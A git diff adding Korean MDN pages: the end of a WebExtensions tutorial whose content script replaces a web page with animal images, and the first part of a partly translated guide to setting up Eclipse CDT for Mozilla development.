+<p>이 코드의 시작접은 96번째 라인이다. <span class="translation">이 스크립트는 browser.tabs.executeScript () API를 사용해 팝업이 로드될때 활성화된 탭에 </span>content script<span class="translation"> (</span>beastify.js<span class="translation">)를 주입한다.</span> content script<span class="translation">를 성공적으로 주입하면 사용자가 탭을 닫거나 페이지를 이동할 때까지 </span>content script<span class="translation">가 주입 된 상태로 유지된다.</span></p>
+
+<p><code>browser.tabs.executeScript()</code>API호출이 실패하는 공통적인 이유는 모든 웹페이지에 content scripts를 주입할 수 없기 때문이다. 예를들어 about:debugging 같은 권한이 있는 페이지에서는 content scripts를 주입할 수 없고 <a href="https://addons.mozilla.org/">addons.mozilla.org</a> 도 마찬가지이다. 이처럼 실패할때는 <code>reportExecuteScriptError()</code>가 호출되어 <code>"popup-content"</code> <code>&lt;div&gt;</code> 를 숨기고 <code>"error-content"</code> <code>&lt;div&gt;</code>를 보여주고 <a href="/en-US/Add-ons/WebExtensions/Debugging">콘솔</a>에 에러를 로깅한다.</p>
+
+<p>content script 주입이 성공하면 <code>listenForClicks()</code>이 호출 된다. 이 함수는 팝업에서 클릭을 위한 리스너이다.</p>
+
+<ul>
+ <li><code>"beast"</code>클래스를 가진 버튼을 클릭하면 <code>beastify()</code> 함수가 호출 된다.</li>
+ <li><code>"reset"</code>클래스를 가진 버튼을 클릭하면 <code>reset()</code>함수가 호출 된다.</li>
+</ul>
+
+<p><code>beastify()</code> 함수는 3가지 기능을 한다:</p>
+
+<ul>
+ <li><span class="translation">클릭 한 버튼을 동물의 이미지 URL로 매핑</span></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/tabs/insertCSS">browser.tabs.insertCSS()</a></code><span class="translation"> API로 CSS를 주입하여 페이지의 전체를 숨긴다.</span></li>
+ <li><span class="translation">페이지를 동물그림으로 변경하도록 짐승 이미지 URL을 전달 요청하기 위해</span><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">browser.tabs.sendMessage()</a></code><span class="translation"> API로 "beastify"메시지를 </span>content script<span class="translation">에 보낸다.</span></li>
+</ul>
+
+<p><code>reset()</code> 함수는 페이지가 동물그림으로 변경된 것을 취소한다:</p>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/tabs/removeCSS">browser.tabs.removeCSS()</a></code> API로 추가한 CSS를 제거한다.</li>
+ <li>페이지를 리셋하기 위해 content script에 "reset" 메시지를 보낸다.</li>
+</ul>
+
+<h3 id="The_content_script">The content script</h3>
+
+<p>확장앱의 루트에 "content_scripts"라는 디렉토리를 생성하고, "beastify.js" 파일을 아래 내용으로 작성한다:</p>
+
+<pre class="brush: js">(function() {
+  /**
+   * Check and set a global guard variable.
+   * If this content script is injected into the same page again,
+   * it will do nothing next time.
+   */
+  if (window.hasRun) {
+    return;
+  }
+  window.hasRun = true;
+
+  /**
+   * Given a URL to a beast image, remove all existing beasts, then
+   * create and style an IMG node pointing to
+   * that image, then insert the node into the document.
+   */
+  function insertBeast(beastURL) {
+    removeExistingBeasts();
+    let beastImage = document.createElement("img");
+    beastImage.setAttribute("src", beastURL);
+    beastImage.style.height = "100vh";
+    beastImage.className = "beastify-image";
+    document.body.appendChild(beastImage);
+  }
+
+  /**
+   * Remove every beast from the page.
+   */
+  function removeExistingBeasts() {
+    let existingBeasts = document.querySelectorAll(".beastify-image");
+    for (let beast of existingBeasts) {
+      beast.remove();
+    }
+  }
+
+  /**
+   * Listen for messages from the background script.
+   * Call "beastify()" or "reset()".
+  */
+  browser.runtime.onMessage.addListener((message) =&gt; {
+    if (message.command === "beastify") {
+      insertBeast(message.beastURL);
+    } else if (message.command === "reset") {
+      removeExistingBeasts();
+    }
+  });
+
+})();
+</pre>
+
+<p>content script는<span class="translation"> 먼저 전역 변수 </span><code>window.hasRun</code><span class="translation">을 확인한다:</span> content script가 이미 실행되어 있다면 아무작업도 하지 않고, 아직 주입되어 있지않으면 <code>window.hasRun</code>를 true로 셋팅한뒤 잡업을 계속한다. <span class="translation">이 작업을 하는 이유는 팝업을 열 때마다 활성화된 탭에 </span>content script<span class="translation">를 실행하기 때문에 스크립트가 중복으로 실행되기 때문에</span> 첫번째 팝업오픈시에만 content script<span class="translation">를 실행해야한다.</span></p>
+
+<p>그런 다음 40번째 라인에서 content script는 <span class="translation">browser.runtime.onMessage API로 팝업의 메시지를 받는다.</span> <span class="translation">위에서 봤던 팝업의 스크립트는 "beastify"와 "reset" 두 종류의 메시지를 보낸다.</span></p>
+
+<ul>
+ <li>"beastify" 메시지를 받으면 메시지에 동물이미지의 URL이 있다는 걸 예상할수 있다. <span class="translation">우리는 이전의 "beastify" 메시지로 추가 된 동물을 제거하고  &lt;img&gt; 요소를 만들어서 src속성에 동물 이미지 URL을 셋팅한다.</span></li>
+ <li>"reset" 메시지를 받으면 그냥 모든 추가된 동물을 삭제한다.</li>
+</ul>
+
+<h3 id="The_beasts">The beasts</h3>
+
+<p><span class="translation">마지막으로 동물의 이미지를 추가한다.</span></p>
+
+<p>"beasts" 디렉토리를 만들고 그 아래 적절한 이름의 이미지 세개를 추가한다.  <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify/beasts">GitHub 저장소</a><span class="translation">에서 이미지를 가져올 수 있다. </span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11459/frog.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11461/snake.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11463/turtle.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"></p>
+
+<h2 id="Testing_it_out">Testing it out</h2>
+
+<p>먼저 파일들이 제자리에 있는 지 확인한다:</p>
+
+<pre>beastify/
+
+    beasts/
+        frog.jpg
+        snake.jpg
+        turtle.jpg
+
+    content_scripts/
+        beastify.js
+
+    icons/
+        beasts-32.png
+        beasts-48.png
+
+    popup/
+        choose_beast.css
+        choose_beast.html
+        choose_beast.js
+
+    manifest.json</pre>
+
+<p><span class="translation">파이어폭스 45에서 디스크로부터 임시로 확장 기능을 설치할 수 있다.</span></p>
+
+<p>파이어폭스에서 about:debugging를 열고 "Load Temporary Add-on"를 클릭한다음 manifest.json 파일을 선택한다. 그러면 파이어폭스 툴바에서 버튼을 볼수 있을것이다.</p>
+
+<p>{{EmbedYouTube("sAM78GU4P34")}}</p>
+
+<p>웹페이지를 열고 툴바 버튼을 클릭하고 동물을 선택하면 웹페이지가 바뀌는것을 볼 수 있을것이다.</p>
+
+<p>{{EmbedYouTube("YMQXyAQSiE8")}}</p>
+
+<h2 id="Developing_from_the_command_line">Developing from the command line</h2>
+
+<p>아래처럼 <a href="/en-US/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>툴을 이용해 설치할 수도 있다.</p>
+
+<pre class="brush: bash">cd beastify
+web-ext run</pre>
+</div>
diff --git a/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html b/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html
new file mode 100644
index 0000000000..23deaf4ffc
--- /dev/null
+++ b/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html
@@ -0,0 +1,443 @@
+---
+title: Eclipse CDT
+slug: Mozilla/Developer_guide/Eclipse/Eclipse_CDT
+translation_of: Mozilla/Developer_guide/Eclipse/Eclipse_CDT
+---
+<h2 id="Using_Eclipse_CDT_for_Mozilla_development" name="Using_Eclipse_CDT_for_Mozilla_development">Introduction</h2>
+
+<p> </p>
+
+<p>Eclipse CDT (C / C ++ Development Tools)는 고급 코드 지원 (상속 / 콜 그래프 탐색기, 정의로 이동, 리팩토링, 자동 완성, 구문 강조 표시 등)을 사용하여 C 및 C ++ 개발을위한 오픈 소스 IDE입니다.이클립스는 자바 오픈소스 IDE로 유명합니다. 하지만 자바뿐만 아니라 C/C++ 개발도구의 기능도 갖는데요, 이를 이클립스 CDT라고 합니다. 이번 포스팅에서는 윈도우즈 환경에 이클립스 CDT를 설치하는 내용을 다루어보고자 합니다.</p>
+
+<h2 id="System_requirements">System requirements</h2>
+
+<p>Eclipse will use a lot of memory to fully index the Mozilla source tree to provide code assistance features (easily <strong>4 GB of RAM</strong>, although this will drop to just over 1 GB if you restart after indexing is complete). Therefore, it is not recommended if your machine only has 4 GB of RAM.</p>
+
+<h2 id="Installing_Eclipse">Installing Eclipse</h2>
+
+<div class="note">
+<p>Regarding <a class="link-https" href="https://code.google.com/p/llvm4eclipsecdt/" title="https://code.google.com/p/llvm4eclipsecdt/">llvm4eclipsecdt</a>, do not install or select this toolchain for Mozilla development. This plugin is intended mainly for managed projects but we use an unmanaged project for Mozilla (since it has its own build system). Using this plugin will result in parts of the UI described below being hidden or disabled.</p>
+</div>
+
+<p>Download <a class="external" href="http://www.eclipse.org/downloads/packages/eclipse-ide-cc-developers/oxygenr" title="http://www.eclipse.org/downloads/">Eclipse IDE for C/C++ Developers</a> from the Eclipse download page.</p>
+
+<h3 id="Increase_Eclipses_memory_limits!">Increase Eclipse's memory limits!</h3>
+
+<div class="warning">
+<p>Make sure you do this!</p>
+</div>
+
+<p>Before you use Eclipse with the Mozilla source you must increase its memory limits. When Eclipse's indexer tries to process the Mozilla source, Eclipse will need considerably more memory than it allows itself out of the box. You should <a class="external" href="http://wiki.eclipse.org/FAQ_How_do_I_increase_the_heap_size_available_to_Eclipse%3F" title="http://wiki.eclipse.org/FAQ_How_do_I_increase_the_heap_size_available_to_Eclipse%3F">increase its memory limits using the <code>eclipse.ini</code></a> in your installation directory (or in Eclipse.app/Contents/Eclipse/ if you're on Mac). Set something like <code>-Xms1G -Xmx5G -XX:MaxPermSize=1G</code> (initial heap space of 1 GB, max heap space of 5 GB, max perm-gen space of 1 GB).</p>
+
+<p>If you fail to increase these limits, then you will likely find that Eclipse hangs when you try to index or work with the Mozilla source later on.</p>
+
+<h2 id="Express_setup">Express setup</h2>
+
+<p>For the Eclipse indexer to work well you must first build Mozilla, so that it includes headers from the objdir etc. These can be found and processed by Eclipse.</p>
+
+<div class="warning">
+<p><strong>Note:</strong> Your <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options#Building_with_an_Objdir">MOZ_OBJDIR</a> must be outside the Mozilla source directory.</p>
+</div>
+
+<p>Once your build is complete then <code>mach</code> can generate a useful Eclipse project on your behalf. Either run:</p>
+
+<pre class="brush: bash"># Create eclipse project and open it:
+./mach ide eclipse
+</pre>
+
+<p>Or else:</p>
+
+<pre class="brush: bash"># Create eclipse project without opening it:
+./mach build-backend -b CppEclipse</pre>
+
+<p>This should take less than a minute. In the case of the <code>build-backend</code> command, instructions on how to open the project will be displayed after the command completes.</p>
+
+<h2 id="Setup_time">Setup time</h2>
+
+<div class="note">
+<p>Some points in the rest of this document below are old and taken care of by the mach commands described above (although some of the project configuration is not done automatically yet). Some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful background information to understand it in more detail on how Eclipse works.</p>
+</div>
+
+<p>You can expect it to take an hour or so to work through these instructions if you're doing so for the first time.</p>
+
+<p>(This assumes that you already have a copy of the Mozilla source, and that you have also <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Simple_Firefox_build" title="Simple Firefox build">built the source</a> so that you have a pre-existing object directory. If that's not the case, then get your build going now so that it can be running while you continue with the instructions below. FAQ: {{ anch("Why_does_Eclipse_need_an_object_directory.3F","Wait, why does Eclipse need an object directory?") }})</p>
+
+<h2 id="Code_assistance">Code assistance</h2>
+
+<p>Out of the box, Eclipse can provide some code assistance for the Mozilla source, but it will be incomplete and often just plain broken. If you set up Eclipse as detailed below it will do a much, much better job.</p>
+
+<h3 id="Important_background">Important background</h3>
+
+<p>To help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some background on what IDEs need in order to provide advanced code assistance, and what Eclipse CDT needs in particular.</p>
+
+<p>To be able to provide really good code assistance for a project's source code, IDEs like Eclipse need to carry out a thorough <a class="link-https" href="https://en.wikipedia.org/wiki/Static_program_analysis" title="https://en.wikipedia.org/wiki/Static_program_analysis">static analysis</a> of the project's source files, to build up a picture of the code (what Eclipse is trying to do when it "indexes" the source.) Static analysis involves parsing the source files, so naturally it can only produce good results if it has a sensible set of preprocessor defines, include paths and pre-include files for each source file. Since Eclipse doesn't initially have any of this information, the code assistance that it's able to provide out of the box is pretty broken.<br>
+ <br>
+ For projects the size and complexity of Mozilla, it's impractical to manually configure Eclipse when there is a valid set of defines and includes paths for each of the different parts of the source code. Happily, Eclipse makes manual configuration unnecessary. Like some other IDEs, that are used with projects like Mozilla that have their own build system. Eclipse provides a tool that can collect the options that are passed to the compiler for each file that's compiled during an actual build. This process is sometimes called "build option discovery" or "compiler option discovery".</p>
+
+<p>The way that Eclipse CDT does build option discovery is to scan the console output from a real build looking for lines where a compiler was invoked. For each line that invoked a compiler, it tries to figure out which source file was being built and what its include paths were. <u>If relative paths are used to specify the source file or any of its include paths (common in Mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked from, this will not be possible.</u> <em>If</em> Eclipse can successfully identify which source file was being compiled, then it can associate with that file the <em>resolvable</em> include paths, preprocessor defines, and pre-include files that were passed to the compiler.</p>
+
+<p>Note the requirements that this method of build option discovery imposes on us. First, Eclipse needs build console output for a complete build, so that it can find compiler options for as many source files as possible. The build must be explicitly instructed to output information that allows the directory, where the compiler is being invoked from to be identified (i.e., 'make' must be instructed to output "Entering directory..."/"Leaving directory..." lines). Finally, the build must not be parallelized, since that would result in the interleaving of build output from different directories (breaking resolution of relative paths by interleaving the "Entering directory..."/"Leaving directory..." lines), and the build must not be silenced/quietened.</p>
+
+<div class="warning">Conversely, note this very carefully: if you configure Eclipse to invoke a build process that is parallelized, silenced, or that fails to identify the directory that the compiler is being run from, then it <strong><u>will</u></strong> mess up the compiler options that Eclipse associates with your files, and that in turn will <strong><u>significantly</u></strong> degrade the quality of the code assistance that Eclipse will provide after it next re-indexes the code.</div>
+
+<p>These requirements aren't a very good fit with the typical Mozilla developer's wish to minimize build times, implying parallelized, silenced builds.</p>
+
+<p>The consequences of the above observations are this:</p>
+
+<div class="warning">
+<ul>
+ <li>It is strongly recommended that you invoke your normal (re)builds from the command line, <strong>externally</strong> of Eclipse.</li>
+ <li>Below we will configure Eclipse's build step so that you use it only occasionally to manually trigger a special "build" (actually a fast script that fakes a build) purely for the purposes of setting/updating the compiler options that Eclipse associates with each source file.</li>
+</ul>
+</div>
+
+<p>(Not using Eclipse to invoke your real builds does lose you some minor benefits that Eclipse has to offer, but these are worth sacrificing for much improved code assistance. See the {{ anch("Building from Eclipse") }} section below if you're interested in what you lose. If you're interested in future improvements to Eclipse that would allow parallel builds to be run from inside Eclipse while still allowing it to obtain the compiler options, see the FAQ {{ anch("Isn%27t_there_a_better_method_of_build_option_discovery.3F","Isn't there a better method of build option discovery?") }} below.)</p>
+
+<h2 id="Initial_workspace_preferences">Initial workspace preferences</h2>
+
+<p>When you open Eclipse, it will ask you to "Select a workspace" (a directory where Eclipse will store files that it generates during indexing, and so on.) It's recommended that you have a separate workspace containing only a single project for each Mozilla source tree [{{ anch("How_can_I_delete_my_Eclipse_project_and_start_over.3F","rational") }}], and that you choose a directory outside the Mozilla source. Something like $HOME/eclipse-workspaces/mozilla-tree-1, for example. After selecting an appropriate directory, click OK, then close the "Welcome" tab when the main Eclipse window opens.</p>
+
+<div class="warning">Before you proceed any further, check that your changes to Eclipse's memory limits have taken effect and are present in <code>Eclipse/Help &gt; About Eclipse &gt; Installation Details &gt; Configuration</code>.</div>
+
+<p>To avoid confusion in this and the following sections, note that "workspace preferences" and "project properties" are different things (we'll get to the details below).</p>
+
+<p>Whenever you create a new workspace for a Mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (<code>Window &gt; Preferences</code>, or <code>Eclipse &gt; Preferences</code>) before creating a project in that workspace:</p>
+
+<ul>
+ <li>in "General &gt; Workspace", disable "Build automatically"</li>
+ <li>in "C/C++ &gt; Indexer", disable "Automatically update the index"</li>
+</ul>
+
+<p>Turning off automatic indexing prevents the CPU intensive indexer from running at various stages during the steps below before we're ready.</p>
+
+<p>Select "General &gt; Content Types", expand "Text &gt; C Source File &gt; C++ Source File", click "Add" and add "*.mm". Eclipse CDT doesn't currently understand Objective-C files (although there is <a class="external" href="http://code.google.com/p/objectiveclipse/" title="http://code.google.com/p/objectiveclipse/">a project that promises to add Objective-C support</a>), so for now, this is the best we can do to give Eclipse a chance of expanding its understanding of the source into the Objective-C files.</p>
+
+<p>Select "General &gt; Editors &gt; Text Editors". If you want line numbers, tick "Show line numbers". If you want a column marker to mark the 80th column to help with formatting code to Mozilla's 80 character line limit, tick "Show print margin" and set the value to 80.</p>
+
+<p>Select "General &gt; Workspace" and select "Refresh using native hooks or polling" and "Refresh on access" to prevent Eclipse giving you annoying "Resource is out of sync" messages when files change from under it due to Mercurial or other external activity.</p>
+
+<p>Select "C/C++ &gt; Build &gt; Console" and set "Limit console output (number of lines)" to something large, like "1000000".</p>
+
+<p>Eclipse CDT will try to format C/C++ code that you add as you type. However, its default formats are not a good match to <a href="/en-US/docs/Mozilla/Developer_Guide/Coding_Style" title="Mozilla Coding Style Guide">Mozilla's style rules</a>. Download this <a href="/@api/deki/files/6241/=eclipse-formatter-for-mozilla.xml" title="https://developer.mozilla.org/@api/deki/files/6241/=eclipse-formatter-for-mozilla.xml">first pass at an Eclipse formatter configuration for Mozilla C/C++ coding style</a>, and install it by opening the workspace preferences, selecting "C/C++ &gt; Code Style &gt; Formatter", and then using the "Import" button to import that file. The "Active profile" field should then automatically change to "Mozilla". Depending on the area of the code that you work on, you may need to tweak this configuration using the "Edit" button. (Note that the format settings under "General &gt; Editors &gt; Text Editors" have no effect in C/C++ views, since the C/C++ settings are more specific and override those settings. However, you may still want to tweak those settings if you'll be editing other file types in Eclipse.)</p>
+
+<p>Select "C/C++ &gt; Editor" and set "Workspace default" to "Doxygen".</p>
+
+<p>Select "C/C++ &gt; Editor &gt; Content Assist" and set the Auto-Activation delay to 0 so that autocomplete suggestions don't seem to be laggy. (Sadly, there is no auto-activation option to activate autocomplete suggestion., so as soon as you type any alphabetical character that may begin with a symbol name like there is in other IDEs.)</p>
+
+<p>Select "C/C++ &gt; Editor &gt; Save Actions" and deselect "Ensure newline at the end of file".</p>
+
+<p>Select "C/C++ &gt; Editor &gt; Scalability" and set "Enable scalability mode when the number of lines in the file is more than:" to something larger, like 100000.</p>
+
+<p>Select "Run/Debug &gt; Console" and deselect "Limit console output".</p>
+
+<p>If you want to increase the text size in the editor, select "General &gt; Appearance &gt; Colors and Fonts", select "Basic &gt; Text Font", and edit the font size.</p>
+
+<h2 id="Creating_an_Eclipse_project">Creating an Eclipse project</h2>
+
+<p>To create an Eclipse project for your Mozilla source tree, select "File &gt; New &gt; Makefile Project with Existing Code". In the "Import Existing Code" window that opens, enter a meaningful Project Name that identifies your Mozilla source tree, set the code location to the root of your source tree, select an appropriate Toolchain (e.g., "MacOSX GCC"), and click Finish.</p>
+
+<p>The status bar at the bottom right of the window should now show that Eclipse is "Refreshing the workspace" (gathering a list of all the files in the source tree). Click on the little green button beside this message to open the "Progress" tab, and keep an eye on the "Refreshing workspace" item as you continue with the steps below. (If an "indexing" item starts after the "Refreshing the workspace" item has finished, click the little red box beside that item to cancel it, since we want to configure the project before the indexer runs.)</p>
+
+<h2 id="Initial_project_properties">Initial project properties</h2>
+
+<p>So that the indexer will run faster and give better results, and so that Eclipse doesn't give results for irrelevant files, you should add some resource filters to have Eclipse ignore certain non-source files and directories. Note, <em>you must <u>not</u> make Eclipse ignore your (main) object directory</em>. That object directory is needed to resolve include paths to the various headers that the build process generates/copies there.</p>
+
+<p>To create resource filters, open the project properties (different to the workspace preferences!) by selecting <code>Properties</code> from the context menu for the project (root item) in the Project Explorer tab on the left, or by selecting <code>Project &gt; Properties</code> from the menubar. Select "Resource &gt; Resource Filters" on the left of the window that opens, then use the Add button to add the following filters:</p>
+
+<ul>
+ <li>Add an "Exclude all" filter for folders with a <strong>Project Relative Path</strong> matching ".hg". (This directory doesn't show in the Project Explorer tab, but Eclipse still indexes it without this filter!)</li>
+ <li>If you have secondary object directories (object directories that are <strong><u>not</u></strong> your only/the primary object directory) for the source tree and those directories are <strong><u>inside</u></strong> the source tree (or if you might have such object directories in future), then add an "Exclude all", <strong>regular expression</strong> filter for folders with a <strong>Project Relative Path</strong> matching "obj(?!-debug(?:$|/)).+". This particular regular expression will exclude all directories beginning with the string "obj" <strong>except</strong> "obj-debug", so if "obj-debug" is not the name of your main object directory, then adjust the regular expression as necessary.</li>
+ <li>Add a <strong>recursive, regular expression</strong> "Exclude all" filter for files with <strong>Name</strong> matching "\.(?:rej|orig|o|pp|swp)$" to exclude .rej, .orig, .pp, .o, and .swp files.</li>
+ <li>Add "Exclude all" filters for any other non-source directories that you've added to your source tree (e.g., Xcode or MSVC project directories).</li>
+</ul>
+
+<p>Click OK to close the filters window, wait for Eclipse to finish processing your resource filters, then make sure the filtered directories and files have disappeared from the Project Explorer tab on the left. Also, if your <strong><u>main</u></strong> object directory is in your source tree, and not somewhere outside it, make sure that it has <u><strong>not</strong></u> disappeared from the Project Explorer tab.</p>
+
+<p>Reopen the project properties window and select "C/C++ Build" from the left of the project properties window. Select the "Builder Settings" tab, untick "Use default build command", set the build command to "just-print-mozilla-build.py" or, if you're on Mac, to "bash -l -c 'just-print-mozilla-build.py'" (on Mac Eclipse doesn't seem to pick up the environment properly, so it's necessary to invoke just-print-mozilla-build.py indirectly through bash). (just-print-mozilla-build.py is a fast script that we'll download in the next section.) (append '--objdir /path/to/objdir' if your objdir lives outside your tree) Set the build directory to "${ProjDirPath}/path/of/your/objdir/relative/to/the/root/of/your/source". Select the "Behavior" tab, delete the word "all" from the "Build (incremental build)" field, and disable the Clean checkbox.</p>
+
+<div class="warning">
+<p>If you can't untick "Use default build command", you must change the current builder by clicking on "Tool Chain Editor" (in C/C++ Build) and choosing another builder (e.g., "Gnu Make Builder").</p>
+</div>
+
+<p>If you will not be using Eclipse for debugging, select "C/C++ Build &gt; Settings" on the left, select the "Binary Parsers" tab, and make sure that all the parsers are deselected. This prevents the (useless if not debugging) "Searching for binaries" action from constantly interrupting everything.</p>
+
+<p>If you will be using Eclipse for debugging, select "C/C++ General &gt; Paths and Symbols" and select the "Output Location" tab. You should now add the folder containing your Firefox binary (note on Mac this is inside the .app - so "{your-obj-dir}/dist/NightlyDebug.app/Contents/MacOS/" - and since the UI will only allow you to select to the 'dist' folder, you'll need to type the end of the path in manually). How you add this depends on whether your object directory is inside or outside your source tree. If inside, use the "Add Folder" button; if outside, use the "Link Folder" button and tick the "Link to folder in the file system" checkbox. Once you've added this folder, delete the existing output folder that was set to the root of the project. Doing this prevents the "Searching for binaries" which Eclipse constantly starts from taking too long.</p>
+
+<p>Select "C/C++ General &gt; Preprocessor include Paths, Macros, and so on." Select the Providers tab. Make sure that "CDT GCC Build Output Parser" <strong>is</strong> selected, and that "CDT Managed Build Settings Entries" is not selected. Highlight (select) "CDT GCC Build Output Parser", then in the "Language Settings Provider Options" that appear below, make sure that "Share setting entries between projects (global provider)" is not ticked.</p>
+
+<div class="warning">
+<p><strong>If the main object directory for your source tree is a Fennec build</strong>: In the "CDT GCC Build Output Parser", change the compiler command pattern to</p>
+
+<pre>(.*gcc)|(.*[gc]\+\+)|(clang)</pre>
+
+<p>(before this change it should have been "(gcc)|([gc]\+\+)|(clang)"). This pattern is what CDT uses to identify compiler commands when parsing the build output. By default, it recognizes commands of the form "gcc", "g++", "c++", and "clang". This is fine for a desktop build, where the commands are in fact "gcc" and "g++". For Fennec builds, however, most of the commands are something like "arm-linux-androideabi-g++", which will not be recognized by the default regex. The modified regex accepts any command that ends with "gcc" or "g++". <strong>This may also affect other non-desktop builds besides Fennec.</strong></p>
+</div>
+
+<p class="warning"><strong>Especially important</strong> if the main object directory for your source tree is located somewhere <strong><u>outside</u></strong> your tree's top source directory: If this applies to you, then select the Entries tab, select "GNU C++", select "CDT User Settings Entries", and click "Add". Change "Project Path" to "Filesystem", then select the 'dist/include' directory that's in your main object directory and click OK. Repeat these steps, but this time for "GNU C" instead of "GNU C++". (See the {{ anch("Headers are only parsed once") }} section below to understand why this step is important for people who have their object directory outside their source tree.)</p>
+
+<h2 id="Getting_code_assistance_working">Getting code assistance working</h2>
+
+<p>You're now ready to get code assistance working. :-)</p>
+
+<h3 id="Build_option_discovery">Build option discovery</h3>
+
+<div class="note">This section requires that you have already <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Simple_Firefox_build" title="https://developer.mozilla.org/En/Simple_Firefox_build">built your mozilla source tree</a> (so that you have an object directory for it), and it is strongly recommended that the object directory is up to date so that the just-print-mozilla-build.py script runs quickly.</div>
+
+<p>As explained in the {{ anch("Code assistance") }} section above, to provide good code assistance Eclipse CDT needs to collect build information for the source files by processing a build log from a full, clean build made using -j1 -w. Since such a non-parallel, full build would take a very long time, we're going to cheat and set Eclipse's "Build" action to run jwatt's just-print-mozilla-build.py script instead. This script will complete in about 30 seconds on a warm tree (files cached in RAM) if your object directory is up to date, although Eclipse will take several minutes to process the "build output" that it produces.</p>
+
+<p>Download <a class="link-https" href="https://hg.mozilla.org/users/jwatt_jwatt.org/eclipse-cdt-tools/raw-file/tip/just-print-mozilla-build.py" title="https://hg.mozilla.org/users/jwatt_jwatt.org/eclipse-cdt-tools/raw-file/tip/just-print-mozilla-build.py">just-print-mozilla-build.py</a> and change its permissions to make it executable ('chmod a+x just-print-mozilla-build.py').</p>
+
+<p class="note">If you don't put just-print-mozilla-build.py somewhere in your PATH, then go back to the {{ anch("Initial project properties") }} section where you set just-print-mozilla-build.py and specify its absolute path instead of just its name.</p>
+
+<p>Now invoke the script by clicking the Build button (the button with the hammer symbol) or by selecting "Project &gt; Build Project" from the main menu. That done, select the "Console" tab at the bottom of the main Eclipse window and you should see the build console output flying by as Eclipse processes it. It should take about 5-10 minutes for Eclipse to finish processing the output.</p>
+
+<h3 id="Additional_discovery_for_C11_mode">Additional discovery for C++11 mode</h3>
+
+<p><a href="/en-US/docs/Using_CXX_in_Mozilla_code" title="/en-US/docs/Using_CXX_in_Mozilla_code">As of Mozilla 25</a>, Mozilla is built in C++11 mode. When GCC is invoked in C++11 mode, it defines pre-processor symbols that enable conditional compilation of C++11 code in its standard library. To correctly parse this code, Eclipse CDT needs to know about these symbols. Unfortunately, the build option discovery process outlined above does not pick up this information, so CDT needs to be told separately about C++11 mode. To do this, go to "Preferences -&gt; C/C++ -&gt; Build -&gt; Settings -&gt; [Discovery] tab -&gt; CDT GCC Built-in Compiler Settings" and add the flag "-std=c++11" at the end of the field labeled "Command to get compiler specs".</p>
+
+<div class="note">In CDT 8.3 (unreleased as of August 2013), there will be a more user-friendly way to specify this (see <a href="http://wiki.eclipse.org/CDT/User/NewIn83#Toolchains" title="http://wiki.eclipse.org/CDT/User/NewIn83#Toolchains">http://wiki.eclipse.org/CDT/User/NewIn83#Toolchains</a>).</div>
+
+<h3 id="Building_the_index">Building the index</h3>
+
+<p>Once you see the end of the build output in the Console tab and the Build item has disappeared from the Progress tab, you can start indexing the source. If indexing started automatically (see the Progress tab), cancel it, since there seems to be a bug that makes it give bad results when it starts automatically at this stage. Right-click the project root in the Project Explorer tab and select "Index &gt; Rebuild". You will now see "Indexing..." in the status bar at the bottom right and an Indexing item in the Progress tab. It will take 10 minutes or so on a decent developer machine for a full rebuild of the index.</p>
+
+<div class="warning">Once the indexer has finished (keep an eye on the Progress tab), sanity check that everything went as it should have by right-clicking the project in the Project Explorer tab and selecting "Index &gt; Search For Unresolved Includes". If you get many more than 2000 unresolved includes (as of May 2012), then things have gone pretty wrong. You should be able to use the list of unresolved includes to help figure out what the problem is (see also the {{ anch("Parser errors") }} section for more troubleshooting tips).</div>
+
+<p>Assuming everything went as expected, you should now find that Eclipse's code assistance works a whole lot better. :-) To test out the code assistance, see the {{ anch("Code_assistance_2","Code assistance") }} subsection of the {{ anch("Usage tips") }} section below.</p>
+
+<p>To improve code assistance even more, see the {{ anch("Headers are only parsed once") }} subsection of the {{ anch("Known Issues") }} section.</p>
+
+<h3 id="Keeping_the_index_up-to-date">Keeping the index up-to-date</h3>
+
+<p>As the source changes from day-to-day, you'll want to update the index to keep the code assistance working well.</p>
+
+<p>Since the compiler options used to build the source change relatively infrequently, the "build" step above doesn't need to be rerun all that often. Rerun it (and then rebuild the index) once a week or so, or as necessary when you start to notice unusual code assistance issues that aren't fixed by rebuilding the index alone.</p>
+
+<p>Rebuilding the index itself is required much more frequently since the source changes more frequently. In principle, you can set the index to rebuild automatically by opening the workspace preferences, selecting "C/C++ &gt; Indexer", and reenabling "Automatically update the index". However, you may find this too disruptive, since re-indexing will then happen very frequently and code assistance can be broken while the index is rebuilding. The alternative is to leave that option disabled and update the index manually as necessary. To update the index manually, use the context menu in the Project Explorer tab on the left side of the window. To rebuild for changes in an individual directory (for example, to take account of some changes that you yourself made) select "Index &gt; Freshen All Files" on that directory. To rebuild the entire index (for example when you pull from mozilla-central) select "Index &gt; Rebuild" on the project root.</p>
+
+<h2 id="Usage_tips">Usage tips</h2>
+
